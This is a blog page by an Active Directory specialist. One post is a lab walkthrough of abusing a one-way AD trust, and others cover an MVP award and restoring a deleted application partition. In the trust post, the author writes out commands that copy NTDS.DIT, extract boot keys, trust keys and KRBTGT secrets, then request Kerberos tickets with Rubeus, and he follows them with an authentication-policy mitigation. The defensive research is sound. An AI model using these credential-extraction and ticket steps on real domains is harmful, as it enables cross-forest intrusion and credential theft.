Jorge's Quest For Knowledge!

All About Identity, Security, Recovery And Some Other Mic Stuff – It's Just Like An Addiction, The More You Have, The More You Want To Have!

(2026-07-15) Re-Awarded for the 21st Time – MVP Identity & Access

Posted by Jorge on 2026-07-15


Today, on July 15th I received an e-mail from Microsoft I was re-awarded again with the MVP Award for the Identity & Access and PowerShell Areas. This year is the 21st time I have received this award!

Thank you Microsoft for the award, and thank you Semperis for supporting this adventure.

Let’s go for yet another year! Whooohoooo!

Going into my 22nd year!

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided “AS IS” with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/

————————————————————————————————————————————————————-
########################### IAMTEC | Jorge’s Quest For Knowledge ##########################
#################### https://jorgequestforknowledge.wordpress.com/ ###################

————————————————————————————————————————————————————

IAMTEC

Identity | Security | Recovery

————————————————————————————————————————————————————-

Posted in MVP | Tagged: , | Leave a Comment »

(2026-07-09) The AD Forest As A Security Boundary And The Impact Of Trusts On That Security Boundary – The Revisited Still (In)Secure Sequel?

Posted by Jorge on 2026-07-09


About 4 years ago a colleague of mine wrote a blog post about how it is possible to misuse a unidirectional trust (forest or external) from the side of the trusting AD domain/forest. About 2 years ago I also wrote about the same and added somewhat more details to the story. However, that was in the Windows Server 2022 or earlier era. Since a few years, we can now also use Windows Server 2025.

The question is obviously: “Are there any changes in Windows Server 2025 around this”?

The short and sweat answer to that question is: YES!, but unfortunately not what you would expect.

To explain what is new and how it works, I will first explain the environment I will be working with and the tools used. I will also explain how to test this yourself in a TESTLAB and also provide the commands for you to try out.

TRUSTED AD FOREST

  • Single AD Domain Forest
  • FQDN = IAMTEC.NET
  • RWDCs
    • R1FSRWDC1.IAMTEC.NET = W2K25
    • R1SCRWDC2.IAMTEC.NET = W2K25
    • R1FSRWDC3.IAMTEC.NET = W2K22
  • RODCs
    • R1FSRODC1.IAMTEC.NET = W2K25

TRUSTING AD FOREST

  • Single AD Domain Forest
  • FQDN = PARTNER.LAN
  • RWDCs
    • R2FSRWDC1.PARTNER.LAN = W2K12R2

TOOLS USED:

So what’s new in Active Directory 2025 with regards to trusts?

By default a trust account, a special user account, has the primaryGroupID set to Domain Users (a.k.a. GROUP_RID_USERS = 513).

However as soon as the first W2K25 RWDC is introduced, the AD schema will be extended to support those DCs. As soon as the PDC FSMO is transferred onto the W2K25 RWDC, the following happens:

  • The global security group “Forest Trust Accounts” (objectSid = <Forest Root Domain SID>-528) is created
  • The global security group “External Trust Accounts” (objectSid = <Domain SID>-529) is created
  • All Forest Trust Accounts are reconfigured with a new primaryGroupID 528, and with that become a member of the “Forest Trust Accounts” global security group
  • All ExternalTrust Accounts are reconfigured with a new primaryGroupID 529, and with that become a member of the “External Trust Accounts” global security group
Figure 1: The New Trust Related Global Security Groups

Figure 2: A Forest Trust Account With The New PrimaryGroupID

What does that mean?

Any resources secured with global security group “Domain Users” or domain local security group “Users” are now not accessible anymore by any trust account! Cool! But is there more to this?

To try to answer that question, let’s go back to a session delivered in 2023 about what’s new in Windows Server 2025.

https://techcommunity.microsoft.com/event/windowsevents/whats-new-in-active-directory/3971596

Figure 3: Comments Section Of The What’s New In Active Directory 2025

Looking at the question from Robin (a.k.a. CANIX1) and the response from Linda to his question, *I* got the impression the 2 new security groups would ALSO prevent the authentication of trust accounts to perform e.g. reconnaisance in the trusted domain from the trusting domain. With that in mind, a custom authentication policy would not be needed anymore as an internally coded one would achieve the same goal. NICE!

Let’s try that out and see what happens!

For starters, let’s FIRST check out the TRUSTED AD DOMAIN “IAMTEC.NET”

The list of DCs in the AD domain…

Get-ADComputer -SearchBase "OU=Domain Controllers,DC=IAMTEC,DC=NET" -LDAPFilter "(&(|(primaryGroupID=516)(primaryGroupID=521))(dnsHostName=*)(operatingSystem=*))" -Properties operatingSystem -Server R1FSRWDC1.IAMTEC.NET
Figure 4: All The DCs In The Trusted AD Domain And Their Version

The trust with the TRUSTING AD domain…

Get-ADTrust -Identity PARTNER.LAN -Server R1FSRWDC1.IAMTEC.NET
Figure 5: The Incoming Trust Endpoint In The Trusted AD Domain

The trust account in the TRUSTED AD domain for the TRUSTING AD domain…(note the primaryGroupID)

Get-ADUser -Identity PARTNER$ -Properties primaryGroupID -Server R1FSRWDC1.IAMTEC.NET
Figure 5: The Trust Account In The Trusted AD Domain For The Trusting AD Domain

The members of “Forest Trust Accounts”….

Get-ADGroupMember -Identity "Forest Trust Accounts" -Server R1FSRWDC1.IAMTEC.NET
Figure 6: The Current Members Of The Forest Trust Accounts Global Security Group

The members of “External Trust Accounts”….

Get-ADGroupMember -Identity "External Trust Accounts" -Server R1FSRWDC1.IAMTEC.NET
Figure 7: The Current Members Of The External Trust Accounts Global Security Group

Just for comparison between the TRUSTED AD Domain and the TRUSTING AD Domain, the secrets of the trust account on the TRUSTED side…

Get-ADReplAccount -SamAccountName PARTNER$ -Domain IAMTEC -Server R1FSRWDC1.IAMTEC.NET
Figure 8a: The Secrets/Keys Of The Trust Account In The Trusted AD Domain For The Trusting AD Domain

Figure 8b: The Secrets/Keys Of The Trust Account In The Trusted AD Domain For The Trusting AD Domain

Now, let’s check out the TRUSTING AD DOMAIN “PARTNER.LAN”

The list of DCs in the AD domain…

Get-ADComputer -SearchBase "OU=Domain Controllers,DC=PARTNER,DC=LAN" -LDAPFilter "(&(|(primaryGroupID=516)(primaryGroupID=521))(dnsHostName=*)(operatingSystem=*))" -Properties operatingSystem -Server R2FSRWDC1.PARTNER.LAN
Figure 9: All The DCs, The One And Only, In The Trusted AD Domain And Their Version

The trust with the TRUSTED AD domain…

Get-ADTrust -Identity IAMTEC.NET -Server R2FSRWDC1.PARTNER.LAN
Figure 10: The Outgoing Trust Endpoint In The Trusting AD Domain

As a bad actor controling the TRUSTING AD domain/forest, I can do whatever I found in that AD domain/forest. The next step is to try to move into the TRUSTED AD domain! Let’s try that out.

Creating an offline copy of the NTDS.DIT to grab the credentials from the trust in the trusting AD domain

Stop-Service NTDS -Force
Copy-Item D:\AD\DB\NTDS.DIT D:\TEMP -Force
Start-Service NTDS
$bootKey = Get-BootKey -Online
Get-ADDBTrust -DatabasePath "D:\TEMP\NTDS.DIT" -BootKey $bootKey
Figure 11: The Secrets/Keys Of The Trust Account In The Trusting AD Domain For The Trusted AD Domain

If you compare the secrets (figure 11 and figure 8b), you will see those are the same on both sides. Obvious as it is required for a trust account to work!

Grabbing the different secrets/keys from the trust for the TRUSTED AD domain and putting those in variables to use later

$adtrusts = Get-ADDBTrust -DatabasePath "D:\TEMP\NTDS.DIT" -BootKey $bootKey
$adtrusts | Where-Object {$_.TrustPartner -eq "IAMTEC.NET"}
$hashAES256 = -join ((($adtrusts | Where-Object {$_.TrustPartner -eq "IAMTEC.NET"}).OutgoingTrustKeys.Credentials | Where-Object {$_.KeyType -eq "AES256_CTS_HMAC_SHA1_96"}).Key | ForEach-Object {$_.ToString("X2")})
$hashAES128 = -join ((($adtrusts | Where-Object {$_.TrustPartner -eq "IAMTEC.NET"}).OutgoingTrustKeys.Credentials | Where-Object {$_.KeyType -eq "AES128_CTS_HMAC_SHA1_96"}).Key | ForEach-Object {$_.ToString("X2")})
$hashRC4 = -join ((($adtrusts | Where-Object {$_.TrustPartner -eq "IAMTEC.NET"}).OutgoingTrustKeys.Credentials | Where-Object {$_.KeyType -eq "RC4_HMAC_NT"}).Key | ForEach-Object {$_.ToString("X2")}) # When RC4 Is DISABLED, This DOES NOT work!

Grabbing TGT for the trust account in the TRUSTED AD domain against a W2K22 DC and using the AES256 KEY….SUCCESS!

KLIST PURGE
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC3.IAMTEC.NET -Properties PasswordLastSet
.\Rubeus.exe asktgt /user:PARTNER$ /aes256:$hashAES256 /domain:IAMTEC.NET /dc:R1FSRWDC3.IAMTEC.NET /nowrap /ptt # W2K22 RWDC In IAMTEC.NET
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC3.IAMTEC.NET -Properties PasswordLastSet
Figure 12: Trying To Get In The Trusted AD Domain From The Trusting AD Domain Using The AES 256 Key Of The Trust Against The W2K22 DC

Grabbing TGT for the trust account in the TRUSTED AD domain against a W2K22 DC and using the AES128 KEY….SUCCESS!

KLIST PURGE
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC3.IAMTEC.NET -Properties PasswordLastSet
.\Rubeus.exe asktgt /user:PARTNER$ /aes128:$hashAES128 /domain:IAMTEC.NET /dc:R1FSRWDC3.IAMTEC.NET /nowrap /ptt # W2K22 RWDC In IAMTEC.NET
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC3.IAMTEC.NET -Properties PasswordLastSet
Figure 13: Trying To Get In The Trusted AD Domain From The Trusting AD Domain Using The AES 128 Key Of The Trust Against The W2K22 DC

Grabbing TGT for the trust account in the TRUSTED AD domain against a W2K22 DC and using the RC4 KEY….FAILURE! (Probably because RC4 is not allowed due to its recent deprecation)

KLIST PURGE
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC3.IAMTEC.NET -Properties PasswordLastSet
.\Rubeus.exe asktgt /user:PARTNER$ /rc4:$hashRC4 /domain:IAMTEC.NET /dc:R1FSRWDC3.IAMTEC.NET /nowrap /ptt # W2K22 RWDC In IAMTEC.NET
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC3.IAMTEC.NET -Properties PasswordLastSet
Figure 14: Trying To Get In The Trusted AD Domain From The Trusting AD Domain Using The RC4 Key Of The Trust Against The W2K22 DC

Grabbing TGT for the trust account in the TRUSTED AD domain against a W2K25 DC and using the AES256 KEY….SUCCESS! (With what I thought earlier, this was not really expected!)

KLIST PURGE
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC1.IAMTEC.NET -Properties PasswordLastSet
.\Rubeus.exe asktgt /user:PARTNER$ /aes256:$hashAES256 /domain:IAMTEC.NET /dc:R1FSRWDC1.IAMTEC.NET /nowrap /ptt # W2K25 RWDC In IAMTEC.NET
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC1.IAMTEC.NET -Properties PasswordLastSet
Figure 15: Trying To Get In The Trusted AD Domain From The Trusting AD Domain Using The AES 256 Key Of The Trust Against The W2K25 DC

Grabbing TGT for the trust account in the TRUSTED AD domain against a W2K25 DC and using the AES128 KEY….SUCCESS! (With what I thought earlier, this was not really expected!)

KLIST PURGE
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC1.IAMTEC.NET -Properties PasswordLastSet
.\Rubeus.exe asktgt /user:PARTNER$ /aes128:$hashAES128 /domain:IAMTEC.NET /dc:R1FSRWDC1.IAMTEC.NET /nowrap /ptt # W2K25 RWDC In IAMTEC.NET
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC1.IAMTEC.NET -Properties PasswordLastSet
Figure 16: Trying To Get In The Trusted AD Domain From The Trusting AD Domain Using The AES 128 Key Of The Trust Against The W2K25 DC

Grabbing TGT for the trust account in the TRUSTED AD domain against a W2K25 DC and using the RC4 KEY….FAILURE! (due to W2K25 DCs NOT supporting RC4)

KLIST PURGE
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC1.IAMTEC.NET -Properties PasswordLastSet
.\Rubeus.exe asktgt /user:PARTNER$ /rc4:$hashRC4 /domain:IAMTEC.NET /dc:R1FSRWDC1.IAMTEC.NET /nowrap /ptt # W2K25 RWDC In IAMTEC.NET
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC1.IAMTEC.NET -Properties PasswordLastSet
Figure 17: Trying To Get In The Trusted AD Domain From The Trusting AD Domain Using The RC4 Key Of The Trust Against The W2K25 DC

Now, let’s grab the TGT again for the trust account in the TRUSTED AD domain against a W2K25 DC and using the AES256 KEY. We now want to see the content and understand what the group memberships are of the trust account under the new conditions in W2K25. However to be able to see the content of the TGT we need to have the secret/key of the KRBTGT account in the TRUSTED AD domain that encrypted the TGT. Remember, as a bad actor I only control the TRUSTING AD domain, and NOT the TRUSTED AD domain! So, having that said, just to show the content of the TGT I will just use the KRBTGT from the TRUSTED AD domain.

Get-ADReplAccount -SamAccountName KRBTGT -Domain IAMTEC -Server R1FSRWDC1.IAMTEC.NET
Figure 18a: Getting The Secrets/Keys Of The KRBTGT Account In The Trusted AD Domain

Figure 18b: Getting The Secrets/Keys Of The KRBTGT Account In The Trusted AD Domain

.\Rubeus.exe asktgt /user:PARTNER$ /aes256:$hashAES256 /domain:IAMTEC.NET /dc:R1FSRWDC1.IAMTEC.NET /nowrap /ptt # W2K25 RWDC In IAMTEC.NET
Figure 19: Getting A TGT For The Trust Account In The Trusted AD Domain From The Trusting AD Domain Using The AES 256 Key Of The Trust Against The W2K25 DC

Figure 20a: Displaying The Content Of The TGT For The Trust Account In The Trusted AD Domain From The Trusting AD Domain
Figure 20b: Displaying The Content Of The TGT For The Trust Account In The Trusted AD Domain From The Trusting AD Domain

So, the careful conclusion here is that the 2 new global security groups unfortunately DO NOT resolve the issue by misusing the trust accout in the TRUSTED AD domain from the TRUSTING AD domain. So what is the solution? The solution previously being used, the creation of an Authentication Policy in the TRUSTED AD domain referring to a a non-existing Authentication Silo is still required!

Let’s set that up in the TRUSTED AD domain.

The creation of an Authentication Policy referring to a non-existent Authentication Silo

$authNPolicyParams = @{
Name = "AuthN_Policy_Protecting_Trust_Account_From_Trusting_Domains"
Description = "AuthN Policy Protecting Trust Account From Trusting Domains"
Enforce = $true
ProtectedFromAccidentalDeletion = $true
UserAllowedToAuthenticateFrom = "O:SYG:SYD:(XA;OICI;CR;;;WD;(@USER.ad://ext/AuthenticationSilo == `"AuthN_Silo_NOT_Existing`"))"
}
New-ADAuthenticationPolicy @authNPolicyParams -Server R1FSRWDC1.IAMTEC.NET
Figure 21: Creating And Defining A New Authentication Policy In The Trusted AD Domain

Assigning the Authentication Policy to the trust account in the TRUSTED AD domain (should be done for every incoming trust accout!)

Set-ADUser PARTNER$ -AuthenticationPolicy "AuthN_Policy_Protecting_Trust_Account_From_Trusting_Domains"
Get-ADUser PARTNER$ -Properties "msDS-AssignedAuthNPolicy"
Figure 22: Assigning The New Authentication Policy In The Trusted AD Domain To The Trust Account In Trusted AD Domain

Grabbing TGT for the trust account in the TRUSTED AD domain against a W2K22 DC and using the AES256 KEY….FAILURE! (due to the presence and assigned Authentication Policy in the TRUSTED AD domain)

KLIST PURGE
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC3.IAMTEC.NET -Properties PasswordLastSet
.\Rubeus.exe asktgt /user:PARTNER$ /aes256:$hashAES256 /domain:IAMTEC.NET /dc:R1FSRWDC3.IAMTEC.NET /nowrap /ptt # W2K22 RWDC In IAMTEC.NET
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC3.IAMTEC.NET -Properties PasswordLastSet
Figure 23: Trying To Get In The Trusted AD Domain From The Trusting AD Domain Using The AES 256 Key Of The Trust Against The W2K22 DC – After Configuring And Assigning The Authentication Policy In The Trusted AD Domain

Grabbing TGT for the trust account in the TRUSTED AD domain against a W2K25 DC and using the AES256 KEY….FAILURE! (due to the presence and assigned Authentication Policy in the TRUSTED AD domain)

KLIST PURGE
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC1.IAMTEC.NET -Properties PasswordLastSet
.\Rubeus.exe asktgt /user:PARTNER$ /aes256:$hashAES256 /domain:IAMTEC.NET /dc:R1FSRWDC1.IAMTEC.NET /nowrap /ptt # W2K25 RWDC In IAMTEC.NET
Get-ADUser -SearchBase "DC=IAMTEC,DC=NET" -LDAPFilter "(sAMAccountName=KRBTGT)" -Server R1FSRWDC1.IAMTEC.NET -Properties PasswordLastSet
Figure 24: Trying To Get In The Trusted AD Domain From The Trusting AD Domain Using The AES 256 Key Of The Trust Against The W2K25 DC – After Configuring And Assigning The Authentication Policy In The Trusted AD Domain

Now you may ask yourself…. Why is it still possible to read AD content? The main reason is that the trust account is still part of AUTHENTICATED USERS, and that is very likely part of the “Pre-Windows 2000 Compatible Access” security group. As an addition to the Authentication Policy, it is also a good idea to remove Authenticated Users from the “Pre-Windows 2000 Compatible Access” security group to enhance the security posture of your AD. But WAIT before actually doing that as it very likely will break stuff!!!!
Before removing the Authenticated Users from the “Pre-Windows 2000 Compatible Access” security group, you need to understand which properties on objects in AD are protected by the “Pre-Windows 2000 Compatible Access” security group, which systems and applications required access to those properties on objects in AD. As soon as you know that, and TESTED it, you can…. well that is a very long story, that colleague of mine already wrote about here.

So…… the main and overall conclusion is that even with W2K25 DCs, the creation and configuration of an authentication policy in the TRUSTED AD domain is still required in the case of a uni-directional forest or external trust to protect the trust!

Protect yourself and implement this easy and very effective solution!

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided “AS IS” with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/

————————————————————————————————————————————————————-
########################### IAMTEC | Jorge’s Quest For Knowledge ##########################
#################### https://jorgequestforknowledge.wordpress.com/ ###################

————————————————————————————————————————————————————

IAMTEC

Identity | Security | Recovery

————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), Security, Trusts, Uncategorized, Vulnerability | Tagged: , , , , , , | Leave a Comment »

(2026-01-09) Oh Crap, An Application Partition Was Deleted From The AD Forest! – How To Restore It Back?

Posted by Jorge on 2026-01-09


Some days ago I was reading REDDIT and stumbled across this post, where someone mistakenly deleted a DNS application partition. I responded to that post by providing steps on how to recover. In addition I also wanted to refresh my memory and see if i had written down was correct or not. All I wrote in that REDDIT post was correct with the addition of having forgotten 1 important step!

WARNING: The steps listed here apply to restoring a deleted Application Partition in Active Directory. These steps DO NOT apply to restoring a deleted AD Domain!

To test this all out I used the following TEST environment:

  • AD Forest: IAMTEC.NET
  • Forest Root AD Domain: IAMTEC.NET –> 3x live RWDCs – W2K19 – R1FSRWDC1 (All Forest And Domain FSMO Roles), R1FSRWDC2, R1FSRWDC3) and 1x live RODC (W2K19 – R1FSRODC1) and 1x bogus RODC (RIVERBED)
    • Child AD Domain: CHLD.IAMTEC.NET –> 2x RWDCs – W2K19 – C1FSRWDC1 (All Domain FSMO Roles), C1FSRWDC2
  • Tree Root AD Domain: TROOT.NET –> 2x RWDCs – W2K19 – T1FSRWDC1 (All Domain FSMO Roles), T1FSRWDC2
  • All DCs are a GC
  • DNS is externally hosted, no DNS data in AD!
  • Backup/Recovery Solution: Semperis ADFR

As I did not have DNS in AD, i could not test the 100% exact scenario of the OP of the REDDIT post.

To simulate the scenario, I had to create an application partition first to test with, and I also enlisted all live RWDCs and RODCs in the AD forest!

NTDSUTIL
ACTIVATE INSTANCE NTDS
PARTITION MANAGEMENT
CONNECTIONS
CONNECT TO SERVER R1FSRWDC1.IAMTEC.NET
Q
CREATE NC DC=APP_NC_TEST R1FSRWDC1.IAMTEC.NET
ADD NC REPLICA DC=APP_NC_TEST R1FSRWDC2.IAMTEC.NET
ADD NC REPLICA DC=APP_NC_TEST R1FSRWDC3.IAMTEC.NET
ADD NC REPLICA DC=APP_NC_TEST R1FSRODC1.IAMTEC.NET
ADD NC REPLICA DC=APP_NC_TEST C1FSRWDC1.CHLD.IAMTEC.NET
ADD NC REPLICA DC=APP_NC_TEST C1FSRWDC2.CHLD.IAMTEC.NET
ADD NC REPLICA DC=APP_NC_TEST T1FSRWDC1.TROOT.NET
ADD NC REPLICA DC=APP_NC_TEST T1FSRWDC2.TROOT.NET
Q
Q
Figure 1: Creating The Application Partition And Enlisting Additional DCs To Host It

Gave the DCs some minutes to replicate the partition data around.

Figure 2: The Definition (I.e., crossRef Object) Of The Application Partition

After this, I created a full backup of the AD forest using Semperis ADFR. After having confirmed the backup had completed successfully, it was time to start with the “mistaken” deletion. I used the following code to delete the application partition

NTDSUTIL
ACTIVATE INSTANCE NTDS
PARTITION MANAGEMENT
CONNECTIONS
CONNECT TO SERVER R1FSRWDC1.IAMTEC.NET
Q
LIST NC REPLICAS DC=APP_NC_TEST
DELETE NC DC=APP_NC_TEST
Q
Q
Figure 3: Listing The DCs That Host The Application Partition And Deleting The Application Partition

Gave the DCs some minutes to replicate the deletion of the partition data around.

To make sure all was deleted I used the following code:

(Get-ADForest).Domains | ForEach-Object {(Get-ADDomain -Identity $_).ReplicaDirectoryServers + (Get-ADDomain -Identity $_).ReadOnlyReplicaDirectoryServers | ForEach-Object {$dcFQDN = $_; Try{$events = Get-WinEvent -ComputerName $dcFQDN -FilterHashtable @{LogName = 'Directory Service'; ID = 1660} -ErrorAction STOP; $events | Format-Table @{Label="DC FQDN"; Expression={$dcFQDN}},TimeCreated,LevelDisplayName,Message -Wrap -AutoSize} CATCH {Write-Host "$dcFQDN - NO EVENTS YET... PATIENCE AND RETRY" -ForegroundColor Red}}}

With the following event from every DC hosting the partition, I knew for sure the partition did not exist anywhere anymore!

Figure 4: Confirming The Partition Was Deleted/Removed On All DCs In The AD Forest (In This Case!)

After the deletion of the data, I used Semperis ADFR to non-authoritatively restore the DC R1FSRWDC2.IAMTEC.NET using the most recent backup created.

Figure 5a: Non-Authoritative Restore Using Semperis ADFR

Figure 5b: Non-Authoritative Restore Using Semperis ADFR

Figure 5c: Non-Authoritative Restore Using Semperis ADFR

After the non-authoritative restore the DC R1FSRWDC2.IAMTEC.NET, I confirmed that INbound AD replication was disabled. This is needed to be able to authoritatively restore some objects to bring back the deleted partition. If this would not be done, more recent data in the AD Domain/Forest would update the restored DC as if nothing had happened.

Figure 6: Confirming Inbound AD Replication Was Disabled To Prevent Overwriting The Data Of The Non-Authoritative Restore

In this state I wanted to check the state of the objects of interest on both the restored DC R1FSRWDC2.IAMTEC.NET and some other DC R1FSRWDC1.IAMTEC.NET

LEFT WINDOW (RESTORED CROSS-REF OBJECT OF THE PARTITION):

REPADMIN /SHOWOBJMETA $ENV:COMPUTERNAME "CN=0fb7a89d-b871-4ba7-9fec-6b75ac77d455,CN=Partitions,CN=Configuration,DC=IAMTEC,DC=NET"

RIGHT WINDOW (NO CROSS-REF OBJECT OF THE PARTITION EXISTS (YET) AS IT IS DELETED):

REPADMIN /SHOWOBJMETA R1FSRWDC1.IAMTEC.NET "CN=0fb7a89d-b871-4ba7-9fec-6b75ac77d455,CN=Partitions,CN=Configuration,DC=IAMTEC,DC=NET"
Figure 7: Comparing Cross-Ref Objects On Both The Restored DC And Another DC

LEFT WINDOW (NTDS SETTINGS OBJECT OF THE RESTORED DC ON THE RESTORED DC):

REPADMIN /SHOWOBJMETA $ENV:COMPUTERNAME "CN=NTDS Settings,CN=R1FSRWDC2,CN=Servers,CN=DTCNTR01,CN=Sites,CN=Configuration,DC=IAMTEC,DC=NET"

RIGHT WINDOW (NTDS SETTINGS OBJECT OF THE RESTORED DC ON ANOTHER DC):

REPADMIN /SHOWOBJMETA R1FSRWDC1.IAMTEC.NET "CN=NTDS Settings,CN=R1FSRWDC2,CN=Servers,CN=DTCNTR01,CN=Sites,CN=Configuration,DC=IAMTEC,DC=NET"

Figure 8a: Comparing NTDS Settings Object Of The Restored DC On Both The Restored DC And Another DC – Differences Exist

Figure 8b: Comparing NTDS Settings Object Of The Restored DC On Both The Restored DC And Another DC – Differences Exist

Now lets analyze what needs to be done! Before the non-authoritative restore the application partition “DC=APP_NC_TEST” does not exist on any DC and its definition (i.e. cross-ref object) does also not exist. The question is “how to bring back (i.e., restore) the deleted application partition?”.

One way to restore the deleted the deleted application partition “DC=APP_NC_TEST” is to perform a full AD forest restore using the most recent backup that still contains the application partition. Although a solution, that would be some serious overkill, and let alone the huge impact on the environment!

So, IMHO, the best way to bring back the deleted application partition “DC=APP_NC_TEST” is to use the most recent backup available of any DC that actually hosted the partition, following up with some additional actions.

In my case, I use the DC R1FSRWDC2.IAMTEC.NET to perform an NON-authoritative restore. Now for the follow up actions, my logic is as follows, while using the following code that also executed on the restored DC R1FSRWDC2.IAMTEC.NET (!):

Stop-Service NTDS -Force
CD C:\TEMP
NTDSUTIL
ACTIVATE INSTANCE NTDS
AUTHORITATIVE RESTORE

At first we need to bring back the definition of the application partition. That is done by authoritatively restoring the cross-ref object of the deleted application partition.

RESTORE OBJECT "CN=0fb7a89d-b871-4ba7-9fec-6b75ac77d455,CN=Partitions,CN=Configuration,DC=IAMTEC,DC=NET"
Figure 9a: Authoritative Restore Of The Cross-Ref Object On The Restored DC

Figure 9b: Authoritative Restore Of The Cross-Ref Object On The Restored DC

Now when you look at the data:

  • The cross-ref object lists which DCs (a.k.a. replica locations) host the application partition
  • The NTDS Settings object of each DC lists, across multiple attributes, which partitions (a.k.a. NCs) are hosted the corresponding DC

The first bullet has already been authoritatively restored, so that is done! However, the data of the NTDS Settings object of the restored DC on the restored DC itself is older than the data of the NTDS Settings object of the restored DC on any other DC. Check the differences in figure 8a and 8b. On the left you can see the NTDS Settings object shows that R1FSRWDC2.IAMTEC.NET hosts the application partition and on the right you can see the NTDS Settings object shows that R1FSRWDC2.IAMTEC.NET DOES NOT host the application partition. Obviously we want the version on the left to take priority. In other words, if the NTDS Settings object of the restored DC on the restored DC is not authoritatively restored, the restored DC will have the actual application partition, but other DCs WILL NOT be able to replicate from it as its NTDS Settings object does not specify the hosts the application partition. Although specified as a Replica Location, other DCs will not be able to inbound replicate and host the application data as they cannot find another DC that hosts (i.e., has instantiated) the actual partition. The restored DC, although being a Replica Location, having the data, but not having specified it has it instantiated, will not be able to service replication requests from other DCs. Something similar like the following would be seen.

Figure 10: DCs Defined As Replica Locations But Not Being Able To Instantiate The Application Partition

The solution? Also perform an authoritative restore of the NTDS Settings object of the restored DC on the restored DC. After that the NTDS Service again.

RESTORE OBJECT "CN=NTDS Settings,CN=R1FSRWDC2,CN=Servers,CN=DTCNTR01,CN=Sites,CN=Configuration,DC=IAMTEC,DC=NET"
Q
Q
Start-Service NTDS
Figure 11a: Authoritative Restore Of The NTDS Settings Object Of The Restored DC On The Restored DC

Figure 11b: Authoritative Restore Of The NTDS Settings Object Of The Restored DC On The Restored DC

Now you might also think that it is also needed to authoritatively restore the actual partition itself. That is not needed as nothing from that partition exists on the other DCs, and there is nothing to overwrite. The partition and its data are not in a deleted state, but rather have been fully deleted. In short, authoritative restore of the actual partition is not needed.

After the restore, OUTbound AD replication is forced on the restored DC so that the changes propagate to other DCs.

Figure 12: Forcing Outbound AD Replication On The Restored DC For The Changes To Propagate To Other DCs

LEFT WINDOW (NTDS SETTINGS OBJECT OF THE RESTORED DC ON THE RESTORED DC):

REPADMIN /SHOWOBJMETA $ENV:COMPUTERNAME "CN=NTDS Settings,CN=R1FSRWDC2,CN=Servers,CN=DTCNTR01,CN=Sites,CN=Configuration,DC=IAMTEC,DC=NET"

RIGHT WINDOW (NTDS SETTINGS OBJECT OF THE RESTORED DC ON ANOTHER DC):

REPADMIN /SHOWOBJMETA R1FSRWDC1.IAMTEC.NET "CN=NTDS Settings,CN=R1FSRWDC2,CN=Servers,CN=DTCNTR01,CN=Sites,CN=Configuration,DC=IAMTEC,DC=NET"

Figure 13a: Comparing NTDS Settings Object Of The Restored DC On Both The Restored DC And Another DC – NO Differences Exist

Figure 13b: Comparing NTDS Settings Object Of The Restored DC On Both The Restored DC And Another DC – NO Differences Exist

It is now time to enable INbound AD Replication on the restored DC.

REPADMIN.EXE /HOMESERVER:$ENV:COMPUTERNAME /OPTIONS $ENV:COMPUTERNAME -DISABLE_INBOUND_REPL

Forcing OUTbound AD Replication on the restored DC

REPADMIN.EXE /SYNCALL $ENV:COMPUTERNAME /edjqAP

Figure 14: Forcing Outbound AD Replication On The Restored DC For The Changes To Propagate To Other DCs

Forcing INbound AD Replication on the restored DC

REPADMIN.EXE /SYNCALL $ENV:COMPUTERNAME /edjqA

The error below can be expected if a certain DC has not (yet) instantiated the application partition

Figure 15: Forcing Inbound AD Replication On The Restored DC To Receive Any Updates From Other DCs

As of this point in the process all the other Replica Locations, as defined on the cross-ref object, that have nothing instantiated, will instantiate the application partition and inbound replicate the data from any other DC that already has instantiated the application partition, and in this case it is the DC R1FSRWDC2.IAMTEC.NET.

Checking which Replica Locations exist and which have instantiated the application partition.

NTDSUTIL
ACTIVATE INSTANCE NTDS
PARTITION MANAGEMENT
CONNECTIONS
CONNECT TO SERVER R1FSRWDC1.IAMTEC.NET
Q
LIST NC REPLICAS DC=APP_NC_TEST
Q
Q
Figure 16: Listing The Replica Locations Of The Application Partition And Their Instantiation State – Not (Yet) Complete

As you can see above, not all DCs (i.e., Replica Locations) have completed the operation. Just give it time to complete, especially when having many DCs hosting the application partition and lots of data is involved.

